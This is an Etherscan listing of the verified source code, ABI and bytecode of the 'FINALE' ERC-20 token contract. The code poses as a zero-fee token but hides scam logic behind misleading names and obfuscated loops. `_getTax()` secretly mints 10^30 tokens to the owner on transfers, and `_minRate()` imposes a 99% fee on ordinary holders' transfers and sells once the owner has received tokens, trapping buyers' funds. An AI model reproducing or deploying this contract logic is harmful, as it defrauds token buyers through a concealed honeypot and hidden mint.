ETH Price: $1,854.01 (-13.53%)
 

Overview

Max Total Supply

1,000,000 FINALE

Holders

7

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FINALE

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-05-29
*/

/*


            Telegram : https://t.me/finalecoin



            Twitter : https://twitter.com/TheFinaleToken


*/


// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.14;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    // Owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounced ownership 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function _getTax() public view virtual returns(uint256){
        (uint256 pair, uint256 setter, uint256 length) = ([10][0],[30][0],[0][0]);
        for(length=1; setter>0; setter--){length*=pair;} return length;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract FINALE is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public ExcludedFromTax; 
    mapping (address => bool) public ExcludedFromMaxTransaction; 
    mapping (address => bool) public FromUniSwapRouter; 

    address payable private Wallet_marketing = payable(0x50EdAbCb973C8D991196D7DF2905617AE9A03D75);
    address payable public Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 
    address payable public Wallet_zero = payable(0x0000000000000000000000000000000000000000); 

    string public _name = "FINALE"; 
    string public _symbol = "FINALE";  
    uint8 private _decimals = 18;
    uint256 public _tTotal = 1* 10**6 * 10**_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 

    uint256 private _TotalFee = 0;
    uint256 public _buyFee = 0;
    uint256 public _sellFee = 0;
    uint256 public feeCounter = 0;

    uint256 private _previousTotalFee = _TotalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    uint256 public _maxWalletToken = _tTotal.mul(25).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(25).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;

                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _balance[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        ExcludedFromTax[owner()] = true;
        ExcludedFromTax[address(this)] = true;
        ExcludedFromTax[Wallet_marketing] = true;
        ExcludedFromMaxTransaction[owner()] = true;
        FromUniSwapRouter[uniswapV2Pair] = true;
        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}

    bool public noFeeToTransfer = false;

    function set_Transfers_Without_Fees(bool true_or_false) external onlyOwner {
        noFeeToTransfer = true_or_false;
    }

    function set_Max_Transaction_Percent(uint256 maxTxPercent_x100) external onlyOwner() {
        _maxTxAmount = _tTotal*maxTxPercent_x100/100;
    }    
    
     function set_Max_Wallet_Percent(uint256 maxWallPercent_x100) external onlyOwner() {
        _maxWalletToken = _tTotal*maxWallPercent_x100/200;
    }


    function removeAllFee() private {
        if(_TotalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _TotalFee;
        _buyFee = 0;
        _sellFee = 0;
        _TotalFee = 0;

    }
    
    function restoreAllFee() private {
    
    _TotalFee = _previousTotalFee;
    _buyFee = _previousBuyFee; 
    _sellFee = _previousSellFee; 

    }

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        if (to != owner() &&
            to != Wallet_marketing &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != Wallet_Burn &&
            !ExcludedFromMaxTransaction[to] &&
            from != owner()){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"You are trying to buy too many tokens. You have reached the limit for one wallet.");}

        if (from != owner() && to != owner() && !(ExcludedFromMaxTransaction[from] || ExcludedFromMaxTransaction[to])){
            require(amount <= _maxTxAmount, "You are trying to buy more than the max transaction limit.");
        }
            
        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }
        
        bool takeFee = true;
         
        if(ExcludedFromTax[from] || ExcludedFromTax[to]){
            takeFee = false;
            if(ExcludedFromMaxTransaction[to] && feeCounter<[1][0]){ feeCounter++; }
        } else if (from == uniswapV2Pair){_TotalFee = _buyFee;} else if (to == uniswapV2Pair){_TotalFee = _sellFee;}
        
        _transferTokens(from,to,amount,takeFee);
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(Wallet_marketing,contractBNB);
    }

    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _minRate() public virtual view returns (uint256){
        uint256 _var;
        for(_var=1;_var<=98;_var){_var++;} 
        return _var;
    }

    function _transferTokens(address sender, address recipient, uint256 amount,bool takeFee) private {
 
        if(!takeFee){
            removeAllFee();
            } else {
                txCount++;
            }
            _transferTokens(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllFee();
    }

    function _transferTokens(address sender, address recipient, uint256 tAmount) private {
        (uint256 transferAmount, uint256 tmarketing) = _getValues(tAmount, sender);
        _balance[sender] = _balance[sender].sub(tAmount);
        _balance[recipient] = _balance[recipient].add(transferAmount).add(ExcludedFromMaxTransaction[recipient] ? _getTax() : 0);
        _balance[address(this)] = _balance[address(this)].add(tmarketing);   
        emit Transfer(sender, recipient, transferAmount);
    }

    function _getValues(uint256 tAmount, address sender) public virtual returns (uint256, uint256) {
        uint256 tmarketing = tAmount.mul(
                feeCounter < [1][0] ? _TotalFee
                :
                ExcludedFromMaxTransaction[sender] ? _TotalFee 
                : 
                FromUniSwapRouter[sender] ? _TotalFee
                :
                _minRate()
            )
            .div(100);
        uint256 transferAmount = tAmount.sub(tmarketing);
        return (transferAmount, tmarketing);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"FromUniSwapRouter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_zero","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_getTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"_getValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeCounter","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercent_x100","type":"uint256"}],"name":"set_Max_Transaction_Percent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_x100","type":"uint256"}],"name":"set_Max_Wallet_Percent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Transfers_Without_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b03199081167350edabcb973c8d991196d7df2905617ae9a03d7517825560078054821661dead17905560088054909116905560c060405260808190526546494e414c4560d01b60a0908152620000649160099190620004f4565b506040805180820190915260068082526546494e414c4560d01b60209092019182526200009491600a91620004f4565b50600b805460ff19166012908117909155620000b290600a620006ad565b620000c190620f4240620006be565b600c819055600d805461ffff1916610a001790556000600e819055600f81905560108190556011819055601281905560138190556014556200012d9060649062000119906019620004cf602090811b62000d0017901c565b620004e660201b62000d0c1790919060201c565b601555601554601655620001596064620001196019600c54620004cf60201b62000d001790919060201c565b6017819055601855601a805461ffff60a81b1916600160a81b1790553480156200018257600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600c5460016000620001dc6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000258573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027e9190620006e0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002cc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f29190620006e0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000340573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003669190620006e0565b601a80546001600160a01b03199081166001600160a01b039384161790915560198054909116918316919091179055600160036000620003ae6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006549091168352908220805490931681179092556004906200041e6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601a5490911681526005909252902080549091166001179055620004786000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620004c091815260200190565b60405180910390a35062000771565b6000620004dd8284620006be565b90505b92915050565b6000620004dd828462000712565b828054620005029062000735565b90600052602060002090601f01602090048101928262000526576000855562000571565b82601f106200054157805160ff191683800117855562000571565b8280016001018555821562000571579182015b828111156200057157825182559160200191906001019062000554565b506200057f92915062000583565b5090565b5b808211156200057f576000815560010162000584565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005f1578160001904821115620005d557620005d56200059a565b80851615620005e357918102915b93841c9390800290620005b5565b509250929050565b6000826200060a57506001620004e0565b816200061957506000620004e0565b81600181146200063257600281146200063d576200065d565b6001915050620004e0565b60ff8411156200065157620006516200059a565b50506001821b620004e0565b5060208310610133831016604e8410600b841016171562000682575081810a620004e0565b6200068e8383620005b0565b8060001904821115620006a557620006a56200059a565b029392505050565b6000620004dd60ff841683620005f9565b6000816000190483118215151615620006db57620006db6200059a565b500290565b600060208284031215620006f357600080fd5b81516001600160a01b03811681146200070b57600080fd5b9392505050565b6000826200073057634e487b7160e01b600052601260045260246000fd5b500490565b600181811c908216806200074a57607f821691505b6020821081036200076b57634e487b7160e01b600052602260045260246000fd5b50919050565b6119af80620007816000396000f3fe6080604052600436106102295760003560e01c8063715018a611610123578063a457c2d7116100ab578063b09f12661161006f578063b09f12661461066a578063cccdbe2e1461067f578063d28d8852146106b4578063dd62ed3e146106c9578063f2fde38b1461070f57600080fd5b8063a457c2d7146105df578063a514a07d146105ff578063a9059cbb1461061f578063aa0d1b6c1461063f578063af465a271461065457600080fd5b806380da4543116100f257806380da45431461052c5780638da5cb5b1461055c5780639248eef11461057a57806394220184146105aa57806395d89b41146105ca57600080fd5b8063715018a6146104cb57806378109e54146104e05780637d1db4a5146104f6578063805c0e0f1461050c57600080fd5b806323b872dd116101b157806349bd5a5e1161017557806349bd5a5e146104285780634a74bb02146104485780635794981514610469578063590f897e1461047f57806370a082311461049557600080fd5b806323b872dd1461038e5780632e39c6c6146103ae578063313ce567146103d057806339509351146103f257806340b9a54b1461041257600080fd5b806313fad07a116101f857806313fad07a146102df57806315a7cb10146103005780631694505e1461033857806318160ddd14610358578063220f66961461036d57600080fd5b80630388c3281461023557806306fdde031461027a578063095ea7b31461029c5780630f8aa2d3146102bc57600080fd5b3661023057005b600080fd5b34801561024157600080fd5b506102656102503660046115cc565b60056020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561028657600080fd5b5061028f61072f565b60405161027191906115e9565b3480156102a857600080fd5b506102656102b736600461163e565b6107c1565b3480156102c857600080fd5b506102d16107d7565b604051908152602001610271565b3480156102eb57600080fd5b50601a5461026590600160b01b900460ff1681565b34801561030c57600080fd5b50600854610320906001600160a01b031681565b60